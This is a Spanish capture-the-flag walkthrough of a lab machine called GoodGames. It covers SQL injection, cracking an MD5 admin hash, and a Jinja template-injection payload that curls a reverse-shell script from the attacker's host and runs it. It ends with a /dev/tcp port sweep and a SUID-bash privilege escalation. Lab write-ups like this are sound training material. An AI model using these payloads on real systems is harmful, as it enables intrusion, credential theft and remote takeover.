
Contenido
- Reconocimiento
- SQLI al panel administrador
- Dumpeo de la base de datos
- Server Side Template Injection
- Escalada de privilegios
Reconocimiento
Empezamos con el típico escaneo de Nmap
❯ nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.11.130
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-03 18:04 CET
Initiating SYN Stealth Scan at 18:04
Scanning 10.10.11.130 [65535 ports]
Discovered open port 80/tcp on 10.10.11.130
Completed SYN Stealth Scan at 18:04, 12.20s elapsed (65535 total ports)
Nmap scan report for 10.10.11.130
Host is up, received user-set (0.078s latency).
Scanned at 2023-11-03 18:04:23 CET for 12s
Not shown: 65532 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds
Raw packets sent: 66957 (2.946MB) | Rcvd: 66270 (2.651MB)
Podemos meternos en la web a ver que hay

Vemos que hay un login

SQLI al panel administrador
Interceptamos la peticion con Burpsuite, podemos probar a hacer una SQLI

Esto nos funcionara y estaremos como el usuario admin

Si clicamos en ajustes veremos que nos manda a una pagina llamada http://internal-administration.goodgames.htb, la añadimos en el etc hosts, y veremos este panel

Podemos probar a hacer una SQLI en este panel también, pero no conseguiremos nada
Dumpeo de la base de datos
Pero recordando que podemos hacer una SQLI en el anterior panel podemos ver la base de datos en busca de alguna credencial valida
Primero podemos averiguar el numero de columnas

Sabiendo que tiene 4 columnas podemos empezar a ver información, como las bases de datos

Ahora podemos listar las tablas en la base de datos de esta manera

Podemos ver 3 tablas, vamos a centrarnos en la user

Ahora vamos a listar las columnas de la tabla user


Finalmente vamos a listar el contenido del campo password y name


Tenemos la contraseña del usuario Admin, pero parece estar hasheada
Con la herramienta Hash Identifier podemos ver que esta hacheado con md5

Podemos irnos a esta pagina para conseguir la contraseña
Pagina –> https://hashes.com/en/decrypt/hash
Veremos que esta es la contraseña

Server Side Template Injection
Podemos probar a introducirla en el login anterior, y veremos que funciona

Ahora dentro de este panel de administrador podemos ver que no hay mucho que hacer, pero en Settings un apartado donde podemos cambiarnos el nombre
Viendo que el output se refleja en la web podemos probar un SSTI

Primero probamos introduciendo {{7*7}}, si nos hace la multiplicación significa que es vulnerable

Perfecto, viendo que est vulnerable podemos probar a ejecutar comandos, en mi caso me creare un servidor en python, con el que compartiré un archivo llamado shell, el cual contiene una reverse shell
Con la ejecución de comandos me descargare ese archivo en la maquina victima y lo ejecutare
Vamos a copiar el archivo en el /tmp de la maquina victima
{{ self.__init__.__globals__.__builtins__.__import__('os').popen("curl 10.10.14.15:8081/shell -o /tmp/shell").read() }}
Ahora vamos a ponernos en escucha con netcat y vamos a ejecutar el script
{{ self.__init__.__globals__.__builtins__.__import__('os').popen("bash /tmp/shell").read() }}
Con esto tendremos una consola interactiva como root, pero sera de un contenedor

Igualmente si buscamos encontraremos la user flag en el home de augustus

Escalada de privilegios
Ahora tenemos que ir a por la root flag, para esto si buscamos, veremos que el directorio augustus es una montura de la maquina principal

Con eso en mente sabemos que el usuario augustus existe en la maquina principal, si hacemos un descubrimiento de puertos desde el docker veremos que tiene el puerto 22 abierto
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
Si nos conectamos rehusando la contraseña del usuario admin veremos que nos dejara acceder

Ahora que estamos en la maquina principal, recordamos que tenemos una montura al docker, y en el docker somos root, por lo que podemos copiar la /bin/bash en el home de augustus

Ahora volvemos al Docker copiamos esta bash otra vez pero esta vez como root, y le damos permisos SUID a la copia de la bash

Vale, si nos volvemos a conectar por ssh y ejecutamos la nueva bash veremos que nos volvemos root

Ahora podemos ir al /root y ver la flag
